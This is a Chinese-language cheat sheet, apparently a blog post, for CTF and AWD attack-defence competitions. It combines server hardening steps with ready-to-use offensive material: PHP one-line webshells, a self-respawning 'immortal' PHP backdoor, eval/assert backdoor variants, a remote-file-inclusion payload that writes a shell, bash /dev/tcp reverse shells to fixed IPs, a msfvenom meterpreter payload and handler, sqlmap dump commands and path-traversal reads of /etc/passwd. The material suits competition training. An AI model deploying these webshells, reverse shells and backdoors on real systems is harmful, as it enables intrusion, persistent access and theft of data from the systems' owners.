CTF基础知识 && AWD红蓝对抗

AWD

备份源码,修改账户密码,查看是否有预留后门然后删掉

修改mysql密码

格式:mysqladmin -u用户名 -p旧密码 password 新密码 
例子:mysqladmin -uroot -p 123456 password 123

MySQL 完全备份和恢复

备份某—个数据库: mysqldump -u Username -p Password 数据库名 > /root/XXX.bak

会将指定的数据库备份至roo家目录下,文件名为XXX.bak

恢复: mysql -u Username -p Password 数据库名 < /root/XXX.bak

一句话木马

<?php @eval($_REQUEST['pass']); ?>      <%eval request("pass")%>         <?php @eval($_POST['c']); ?>

权限维持:1.不死马, 2. nc反弹shell  nc -lp 9999

ps auxww|grep shell.php 找到pid后杀掉进程就可以

修改ssh文件 vim /etc/ssh/sshd_config PermitRootLogin no

最后面加AllowUsers liu liu1

linux修改文件所有者和文件所在组

chgrp  用户名    文件名  -R

chown 用户名   文件名  -R

chmod -R 777 /var/home/userid/cc

1查看端口

netstat -tunpl        netstat -tunpl | grep 23 (查看是否打开23端口)

2. 查看端口对应的应用程序

lsof -i:xxx              查进程 ps aux

3. 关闭端口

iptable

sudo iptables -A INPUT -p tcp --dport $PORT -j DROP"
sudo iptables -A OUTPUT -p tcp --dport $PORT -j DROP"   

kill

Ps -aux

kill -9 PID" (PID:进程号)

sudo /etc/init.d/apache2 restart

一.防御策略
命令注入漏洞
a)例 str1 = $_POST[‘cmd’],在str1 前连接 字符”#”注释字符,str1 = “#”. $_POST[‘cmd’]
b)        
上传文件漏洞
a)注释上传写入代码.
b)        
文件包含漏洞
a)       修改php.ini文件
allow_url_fopen    on
allow_url_include   on
                 修改为
allow_url_fopen    off
allow_url_include   off
b)        
远程代码执行漏洞
a)       注释危险函数:system() exec_shell() eval() assert() create_function() preg_replace() file_put_contents()
b)        
缓冲区溢出漏洞
a)       目前参考”7.Linux权限漏洞”,进行防御.
b)        
系统后门漏洞
a)       直接删除后门程序
b) “Ps –ef|grep bash”命令查看是否有bash后门程序
c) “ss -ltnp”命令查看,是否有后门程序监听端口
d) 从上两个步骤找到该程序pid,用”kill pid”命令结束后门bash程序
e)       在web网站目录下,查看文件内容找到webshell或一句话木马,进行删除文件或注释代码
f)         
Linux权限漏洞
a)“PS –ef|grep httpd”命令查看 Apache服务是否是root执行该服务,若是修改/etc/httpd/httpd.conf 文件找到”user” “group”字段后加上apache apache,重启httpd服务。使Apache服务是apache用户执行该服务.
b)       修改/bin/cat /bin/echo等关键命令二进制文件,改成其名称,让其攻击者无法利用bash读取flag文件内容.                                   
   1.防XSS

利用strip_tags()函数过滤字符串中的 HTML 标签;

利用htmlspecialchars()函数对敏感字符进行转换。

 $message = mysql_real_escape_string($message);


作为body文本输出,作为html标签的属性输出:
比如:<span>${username}</span>, <p><c:out value="${username}"></c:out></p>
<input type="text" value="${username}" />
此时的转义规则如下:
< 转成 <
> 转成 >
& 转成 &
" 转成 "
' 转成 '
javascript事件
<input type="button" οnclick='go_to_url("${myUrl}");' />
除了上面的那些转义之外,还要附加上下面的转义:
\ 转成 \\
/ 转成 \/
; 转成 ;(全角;)
e) URL属性
如果 <script>, <style>, <imt> 等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执行恶意连接。
确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符。
?:传参参数,代表是动态的
Title:传参函数名
 :传参内容的值(这就是url编码解码后变成“个人简介”,一般反射型XSS的注入点)
f)上传waf
如果是框架写出的web就很好部署了,直接require在重写文件或者数据库文件中,如果是零散的php文件,那也有办法,如果是fastcgi(nginx,IIS比较常见)运行的php就在.user.ini加一句,具体百度一下.user.ini的后门,原理一样。其他情况也可以写个脚本强行在每个PHP前面加一句,脚本代码的样例也会放出来。(当然apache也可以.htaccess强行重写到waf再转回原页面,但是万一没重写环境呢)
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码
require_once('waf.php');

就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = waf.php路径;

上传waf

如果是框架写出的web就很好部署了,直接require在重写文件或者数据库文件中,如果是零散的php文件,那也有办法,如果是fastcgi(nginx,IIS比较常见)运行的php就在.user.ini加一句,具体百度一下.user.ini的后门,原理一样。其他情况也可以写个脚本强行在每个PHP前面加一句,脚本代码的样例也会放出来。(当然apache也可以.htaccess强行重写到waf再转回原页面,但是万一没重写环境呢)


1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = waf.php路径;

常见加固方式:

加固流程:

  1. 修改网站管理员密码
  2. 备份网站源码
    1. tar -zcf /tmp/name.tar.gz /path/web
    2. tar -zcf /tmp/name.tar.gz /var/www/html
  3. 备份数据库
    1. mysqldump -u 用户名 -p 数据库名 > 导出的文件名
    2. mysqldump -u user -p database > /tmp/database.sql
  4. 修改ssh密码(即修改当前用户密码)
  5. 修改MySQL密码
    1. set password for 用户名@localhost = password('新密码');
    2. set password for user@localhost = password('123');
  6. 修改MongoDB密码(27017端口)
  7. 修改Redis密码(6379端口)
  8. 修改网站源码中的数据库连接配置
  9. 部署waf(视情况而定)

文件监控

准备一个脚本,监控并删除所有新增文件。

发现内存马,直接重启php。

若监控脚本无法使用,使用命令定期查看新增与修改文件。

find web路径 -ctime -1 (查看最近一日新增的文件,是否可疑)

 

(1)用户登录,输入’测试存在sql注入点,万能密码 ' or 1='1   弱密码 admin/admin  火狐插件hackbar

select name,pass from tbAdmin where name='' or 1='1' and pass='123456'

(2)啊D扫描网站sql注入点,sqlmap注入,

比赛时Access数据库注入点:

http://10.1.14.1/ReadNews.asp?NewsID=20&BigClassID=2&SmallClassID=2

sqlmap -u "url"  查看系统,版本

sqlmap -u "url" --dbs 爆数据库

sqlmap -u "url" --tables -D ctf 爆表

sqlmap -u "url" --column -D ctf -T users 爆列

sqlmap -u "url" --dump -D ctf -T users "user_name,user_pass"  爆字段

网站数据库密码信息文件一般放在config.php中。

3.文件包含

(1)本地文件包含

localhost/a.php?file=/flag.txt

(2)远程文件包含

localhost/a.php?file=http:ip/echo.txt

利用,上传一句话木马

echo.txt 文件内容,会生成shell.php  内容为一句话木马。

<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xx]);?>");?>

常见的文件包含函数,include(),include_once(),require(),require_once()

几种经典的测试方法:

?file=../../../../../etc/passwd  长目录截断

?page=file:///etc/passwd   读取敏感文件

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

4.越权访问   allow_url_fopen  =ON, allow_url_include =ON

水平越权:修改id,访问他人

垂直越权:知道管理后台的url,通过访问,提升权限,获取数据。

/admin/upload/config.php  越权访问,无需登陆,直接显示 

网站防御

上WAF,文件监控,安全狗, 

在文件头写上,require_once(‘waf.php’);

可能存在flag的位置:

  1. 御剑扫描,双击网页打开,存在flag。
  2. ssh登陆,系统根目录下,/var/www/html下
  3. mysql数据库字段中。
  4. 远程主机桌面,文件夹下

一个针对php的web流量抓取,分析的应用。

可以发现ctf线下赛使用,也可以使用实际场景来抓web流量,分析攻击手段。

weblogger-master使用方法:

   cd /var/www/html/ (or other web dir)

   

   git clone https://github.com/wupco/weblogger.git

   

   chmod -R 777 weblogger/

   

   open http://xxxxx/weblogger/install.php in Web browser

   

   install it

 

CTFDefense-CTFDefense

1.ctf-firewall.sh

iptables配置命令,可一键执行快速配置。使用时可能需要根据环境略微修改

2.commannd.md

一些线下赛中常用的linux操作命令

3.getRoot

一些本地提权poc,每个文件里都有详细的使用注释,编译好的文件在release目录下。还有几个实用脚本

 

4.显示器

一个简单的文件监控示例脚本,可以监控创建、删除、移动、属性修改操作,自动删除新增文件或目录。已使用pyinstaller打包成了linux可执行程序

 

5. WAF

linux版安全狗和几个waf脚本

 

 

 

 

nmap -nv ip n不要域名解析

nmap -sS ip SYN

nmap -T4 -A 高强度

 

python -c 'import pty;pty.spawn("/bin/bash")'

 

tar -zcf /tmp/xxx.tar.gz html

tar -xzvf /tmp/xxx.tar.gz

 

mysqldump –uxxx –pxxx dbname > xxx.sql

 

passwd

修改网站管理员密码

update users set password=md5(“xxxxxx”);

修改数据库密码

set password for 用户名@localhost = password('新密码');

 

 

bash -i >& /dev/tcp/10.51.4.222/8384 0>&1

bash -i >& /dev/tcp/10.11.23.226/5555 0>&1

/bin/bash -i &> /dev/tcp/10.51.4.222/8384 0>&1

echo "/bin/bash -i &> /dev/tcp/10.11.20.71/5555 0>&1" | /bin/bash

 

rm -rf /var/www/html/upload_lab/upload/*

 

zip:///var/www/html/upload/test.zip#test.php

http://123.206.174.251/include/2/?

 

op=zip://uploads/ea064516fe1e37af816bb52faa08eeb8589af4c0.png%23p

 

利用msf

msfvenom -p php/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=5555-f raw > 77778888.php

msfconsole:

use multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 5555

set ExitOnSession false

run -j

 

php不死马

caidao

 

<?php

ignore_user_abort(true);

set_time_limit(0);

unlink(__FILE__);

$file = '/var/www/dvwa/.ski12.php';

    $file = 'D:\\z_myweb\\phpStudy\\DVWA-master\\dvwa\\busi.php';

$code = '<?php if(md5($_GET["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@eval($_POST['a']);}?>';

while (1) {

file_put_contents($file, $code);

//system('touch -m -d "2018-12-01 09:10:12" .ski12.php');

usleep(5000);

}

 

 

 

后门

eval($_POST[“a”]);

assert($_POST[“a”]);     可以写成$a=“assert”;$a($_POST[a]);

array_filter(array($_POST[“a”]),”assert”);

preg_replace("/test/e",$_POST[“a"],"jutst test");

$func =create_function('',$_POST[‘a’]);$func();

echo array_map(“assert”, array($_POST[“a”]));

call_user_func("assert",$_POST['cmd’]);

call_user_func_array("assert", array($_POST[“a”]));

等等

 

删除不死马

kill -9 -1

kill -9 -1

 

 

linux新建用户

 

useradd -m username1

passwd username1

usermod -a -G sudo username1

 

防注入

addslashes

htmlspecialchars

 

上一篇:【Android Jetpack高手日志】ViewModel 从入门到精通


下一篇:AWD脚本之批量mysql写shell